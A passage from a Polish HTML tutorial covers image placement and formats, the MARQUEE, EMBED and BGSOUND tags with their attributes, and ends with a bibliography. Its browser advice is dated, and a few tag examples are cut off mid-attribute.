Ponadto można ustalić położenie obrazka względem tekstu korzystając z `<IMG SRC="ścieżka dostępu" A` gdzie "rodzaj" to jedno z:

- left — obrazek ustawiony po lewej stronie względem otaczającego go tekstu,
- right — obrazek po prawej stronie względem tekstu,
- top — tekst ustawiony na górze obrazka,
- middle — tekst ustawiony na średniej wysokości względem obrazka lub
- bottom — tekst ustawiony na dole obrazka (domyślnie)

Obrazek może też być w określonej odległości od tekstu. Stosujemy wtedy `<IMG SRC="ścieżka dostępu"` gdzie "x" i "y" oznacza poziomą i pionową odległość od tekstu.

Możliwe jest także umieszczenie obrazka z informacją alternatywną, (która powinna pojawić się w przypadku, gdy obrazek nie zostanie wyświetlony, a także może zostać wyświetlona po wskazaniu obrazka myszką). Używamy wtedy `<IMG SRC="ścieżka dostępu" ALT="Tu wpisz informację">`.

Ta opcja jest przydatna gdy w przeglądarkach, które nie wyświetlają grafiki lub kiedy użytkownik wyłączył jej wyświetlanie.

Większość bardziej zaawansowanych programów graficznych udostępnia funkcję kompresji obrazów, co pozwala zmniejszyć ich objętość bez wyraźnego spadku jakości. Czasami zysk z użycia takiej kompresji jest dość znaczny, dlatego warto się tym zainteresować. Jednakże, przed wstawieniem obrazka radzę zastanowić się, czy jest on absolutnie konieczny. Jeżeli chcesz umieścić na swojej stronie grafikę o znacznych rozmiarach, zawsze staraj się wcześniej pokazać miniaturkę, aby użytkownik mógł ocenić, czy chce czekać na załadowanie pełnowymiarowego obrazu.

Wszystkie obrazki powinny być zapisane w jednym z dwóch formatów:

- GIF — dla rysunków składających się z mniej niż 256 kolorów, zwykle małych rozmiarów. Są to napisy oraz grafika kreskowa o wyraźnych przejściach między sąsiadującymi kolorami oraz rozległymi jednobarwnymi obszarami (np. przyciski menu i inne "ręcznie" rysowane ozdobniki). Format ten obsługuje przezroczystość oraz animacje (można stworzyć animowany banner).
- JPG — dla zdjęć wielokolorowych, najczęściej o większych rozmiarach, zawierających dużo półcieni i płynnych przejść między kolorami. Nie obsługuje przezroczystości ani animacji.
- PNG — zastosowanie podobne do GIF'a. Jednakże dzięki udostępniniu większej palety kolorów, JPG'i przerobione na PNG również wyglądają nieźle. Ze względu na brak ograniczeń licencyjnych staje się coraz popularniejszy.

Format BMP nie jest skompresowany, dlatego należy unikać jego stosowania! Nieodpowiedni dobór formatu graficznego może być przyczyną nawet kilkakrotnego zwiększenia rozmiaru pliku albo znacznego pogorszenia jakości obrazu. Dlatego jeśli nie wiesz który wybrać, przetestuj wszystkie, które wchodzą w grę.

Jeżeli chcesz wstawić obrazek, który nie jest prostokątem, można w tym celu użyć formatu GIF lub PNG. Obszary, które mają być niewidoczne, należy narysować innym kolorem, a następnie w programie graficznym ustawić ten kolor jako przezroczysty (transparent). Uwaga: format JPG (oraz BMP) nie obsługuje przezroczystości! Podobny efekt można co prawda uzyskać, rysując "niewidoczne" części kolorem tła strony WWW. Jednak jeśli zmienimy kolor tła na stronie, będzie trzeba zmienić również wszystkie takie obrazki. Natomiast jeżeli ustalimy przezroczystość na obrazku, zawsze będzie ona niewidoczna.

7.7.2 Animacja MARQUEE, czyli ruch w przeglądarce

Powoduje on przesuwanie się tekstu między znacznikiem otwierającym i zamykającym. Znacznik ten może mieć dowolne (lub żadne) z poniższych atrybutów:

- BEHAVIOR="typ"
  - scroll — tekst przesuwa się od prawej do lewej (domyślnie),
  - alternate — tekst przesuwa się od prawej do lewej, a następnie "odbija się" i powraca,
  - slide — tekst przesunie się od prawej do lewej tylko raz, a później się zatrzyma i pozostanie nieruchomy.
- DIRECTION="kierunek"
  - left — tekst będzie przesuwał się w lewo (domyślnie),
  - right — tekst będzie przesuwał się w prawo,

  - up — przesuwanie w górę (nie obsługuje IE3.01 ani Netscape 7),
  - down — przesuwanie w dół (nie obsługuje IE3.01 ani Netscape 7)

- BGCOLOR="kolor" — ustawia kolor tła[7]
- WIDTH="x" HEIGHT="y" — wymiary naszego przesuwnego tekstu
- HSPACE="x" VSPACE="y" — odległość tekstu od innego tekstu
- LOOP="k" — powtarzać przewinięcie tekstu k razy
- SCROLLAMOUNT="x" — "x" oznacza szybkość przesuwania w pikselach. Mniejsze wartości SCROLLAMOUNT, to mniej "szarpany" ruch.
- SCROLLDELAY="ms" — "ms" oznacza szybkość przesuwania w milisekundach[8]. Jest to więc odstęp między skokami. Niższe SCROLLDELAY, to szybsza animacja.
- TRUESPEEED — spowoduje, że wartość SCROLLDELAY będzie ściśle określała prędkość przesuwania. Bez tego atrybutu wszystkie wartości mniejsze lub równe 59 (milisekund), są automatycznie zaokrąglane w górę do 60 (czyli wpisanie: 5, 30 czy 60 da taki sam efekt). Atrybut TRUESPEED jest zatem przydatny dla SCROLLDELAY < 60. Jeśli chcemy określić SCROLLDELAY > 59, podawanie parametru TRUESPEED nie ma sensu (chociaż oczywiście można to zrobić).

7.7.3 Umieszczenie pliku

Aby włączyć inny plik multimedialny na stronę należy skożystac z polecenia `<EMBED SRC="ścieżka do pliku` gdzie "ścieżka do pliku" oznacza lokalizację na dysku, gdzie znajduje się żądany plik multimedialny. "x" i "y", jak zwykle, ustalają wymiary okna na stronie, w którym odtwarzany będzie plik. Jeśli nie podamy rozmiarów obrazu wtyczki, może on przyjąć wielkość, która nie pasuje do wymiarów pliku! Rozmiary zależą również od posiadanej przez użytkownika wtyczki.

Polecenie EMBED jest przydatne jeśli chcemy wstawić na stronę m. in. jeden z plików multimedialnych:

- .wav — plik dźwiękowy typu "wav",
- .mid — plik dźwiękowy typu "midi",
- .avi — plik typu "avi",
- .ra — plik Real Audio Player,
- .mp3 — plik dźwiękowy typu "mp3" (MPEG Layer-3),
- .mpeg — plik typu "mpeg",
- .mov — plik typu "mov",
- .asf — plik typu "asf".

[7] Netscape 7 nie obsługuje
[8] 1 milisekunda = 0,001 sekundy

Polecenie to współpracuje z różnymi wtyczkami (atrybut PLUGINSPAGE), dzięki którym teoretycznie może odtwarzać nowe formaty plików multimedialnych. Wtyczka (czyli plug-in) to specjalny niewielki program, który można doinstalować do przeglądarki, zwiększając jej możliwości. Po wywołaniu polecenia, wprost na stronie powinno zostać wyświetlone okno (o podanych rozmiarach), w którym będzie odtwarzany wskazany plik.

W przypadku niektórych plików można dodatkowo użyć atrybutów:

- AUTOSTART="typ"
  - true — plik zostanie automatycznie odtworzony, zaraz po wczytaniu strony,
  - false — plik nie zostanie odtworzony po wczytaniu (trzeba go uruchomić "ręcznie" — poprzez wyświetlony panel kontrolny).
- HIDDEN="typ"
  - true — obraz zostanie ukryty,
  - false — obraz będzie wyświetlony na ekranie.
- SHOWCONTROLS="typ"
  - 0 — panel zostanie ukryty,
  - 1 — panel będzie wyświetlony na ekranie.
- SHOWDISPLAY="typ"
  - 0 — pasek zostanie ukryty,
  - 1 — pasek będzie wyświetlony na ekranie.
- LOOP="typ"
  - true — powtarzanie w nieskończoność,
  - false — brak powtarzania.
- VOLUME="v", gdzie "v" oznacza poziom głośności (od "-10000" do "0").
- BALANCE="b", gdzie "b" oznacza balans między głośnikami (od "-10000" do "10000").
- PLUGINSPAGE="adres wtyczki", gdzie jako "adres wtyczki" należy podać adres internetowy, gdzie znajduje się wtyczka, pozwalająca odtworzyć wybrany rodzaj pliku, dzięki czemu użytkownik będzie ją mógł zainstalować. Przykładowo:
  - "http://www.apple.com/quicktime/download/" — wtyczka MOV (QuickTime),
  - "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFla — wtyczka SWF (Macromedia Flash),
  - "http://www.microsoft.com/Windows/MediaPlayer/" — wtyczka Windows Media Player Plug-In for Netscape — dla posiadaczy Netscape (WAV, MID, MP3, ASF, WMA, WMV, AVI).

Polecenie EMBED sprawia wiele kłopotów nawet w przeglądarkach, które je interpretują! Ponadto należy pamiętać, że pliki multimedialne mają zwykle bardzo duże rozmiary, a więc wczytywanie takiej strony w Internecie, może trwać potwornie długo! Aby umożliwić dotarcie do plików multimedialnych w przeglądarkach, które nie obsługują polecenia EMBED, wskazane jest umieszczenie na stronie znaczników `<NOEMBED>Treść alternatywna</NOEMBED>`. Wewnątrz nich wpisuje się treść, która powinna pojawić się, jeśli polecenia EMBED nie może zostać zinterpretowane.

Możliwe jest również bezpośrednie osadzenie na stronie dokumentu PDF. Jest to format, który stał się powszechnym standardem publikacji elektronicznych. Umożliwia m.in. różnorodne formatowanie tekstu, wstawianie grafiki i inne. Dokumenty PDF można stworzyć np. przy użyciu programu wbudowanego w pakiet biurowy WordPerfect Office 2000, natomiast aby przeglądać pliki PDF, trzeba dysponować darmowym programem Adobe Acrobat Reader (którego pewnie używasz teraz do czytania tej książki). Dodatkowo należy pamiętać o podaniu rozmiarów obiektu EMBED (atrybuty WIDTH="..." oraz HEIGHT="..."), ponieważ jeśli tego nie zrobimy, w IE otrzymamy zbyt małe okienko (uniemożliwiające czytanie), natomiast w Netscape Navigatorze trzeba będzie kliknąć prawym przyciskiem myszki i wybrać polecenie "Open".

7.7.4 Tło dźwiękowe

`<BGSOUND SRC="ścieżka dostępu do pliku dźwiękowego">`. Polecenie to pozwala na odtwarzanie[9] dźwięku w tle — jako podkład muzyczny. Nie jest przy tym wyświetlany żaden panel kontrolny.

Dla tego znacznika możliwe są dodatkowe atrybuty:

- LOOP="k" ustawia ilość powtórzeń (dla k="infinite" jest to nieskończoność),
- VOLUME="v" ustawia poziom głośności (od "-10000" do "0"),
- BALANCE="b" ustawia balans między głośnikami (od "-10000" do "10000"),

Analogiczny efekt można uzyskać stosując polecenie EMBED wraz z atrybutem HIDDEN="true", które jest interpretowane również przez przeglądarkę Netscape (dlatego zaleca się raczej stosowanie EMBED).

Ponadto należy pamiętać, że pliki dźwiękowe mają zwykle bardzo duże rozmiary (przeciętne MP3 to ok. 4 MB), a więc wczytywanie takiej strony w Internecie, może trwać potwornie długo! Zamiast *.mp3 raczej lepiej jest wykorzystać inny format muzyczny, np. *.mid. I ostatnia rada: chociaż sam Microsoft zaleca(ł) wstawianie BGSOUND w nagłówku dokumentu, lepiej jest to zrobić na samym końcu strony. W takim przypadku najpierw wczyta się właściwa treść, a dopiero potem muzyka. Podczas wczytywania dźwięku użytkownik będzie już mógł czytać stronę, bez konieczności bezczynnego oczekiwania na doładowanie obszernego pliku muzycznego.

Dźwięk w tle ucichnie, jeżeli przejdziemy na inną stronę. Aby stworzyć prawdziwy podkład muzyczny, który jest odgrywany przez cały czas, podczas przechodzenia pomiędzy stronami serwisu, powinniśmy umieścić tło dźwiękowe na osobnej stronie, a następnie odwołać się do niej poprzez następujący odsyłacz `<A TARGET="muzyka" HREF="ścieżka do strony z muzyką">Włącz podkład`

[9] Tylko Internet Explorer i Opera 6

Spis literatury

[1] `http://www.netscape.com`

[2] `http://www.lynx.org`

[3] `http://www.securityfocus.com/columnists/228`

[4] Kernighan B. W., Ritchie D. M.: *Język C*, WNT, Warszawa, 1987

[5] Kernighan B. W., Ritchie D. M.: *Język ANSI C*, WNT, Warszawa, 1994

[6] Stroustrup B.: *Język C++*, WNT, Warszawa, 1995

[7] `http://www.w3c.org`

[8] Knuth D. E.: *The Art of Computer Programming, Vol. 1, 2, 3*, Addison-Wesley, Reading, Massachusetts, 1981

[9] Wróblewski P.: *Algorytmy, struktury danych i techniki programowania*, Helion, Gliwice, 1997

[10] Musser D. R.: *Introspective Sorting and Selection Algorithms*, CS Department, Rensselaer Polytechnic Institute, Troy, NY 12180

[11] Kilk M.: *Efficient comparator networks*, Ph.D. Thesis, Wrocław 2000

[12] Roy S.: *Parallel Implementation and Performance Analysis for the Relational Join Operator*, M.S. Thesis of The University of Georgia, Athens, Georgia, 1994

[13] Sikorski J.: *Wstęp do informatyki(11)*, Wyższa Szkoła Informatyki Stosowanej i Zarządzania (materiały dydaktyczne), Warszawa, 2003

[14] Gill S.: *Parallel Programming*, The Computer Journal, vol. 1, April 1958, pp. 2–10

[15] Hughes C., Hughes T.: *Parallel and Distributed Programming Using C++*, Addison-Wesley, 2003

[16] Scherson I. D., Sen S., Shamir A.: *Shear Sort: A True Two-Dimensional Sorting Technique for VLSI Networks*, Proceedings of the 1986 International Conference on Parallel Processing, August 1986, pp. 903–908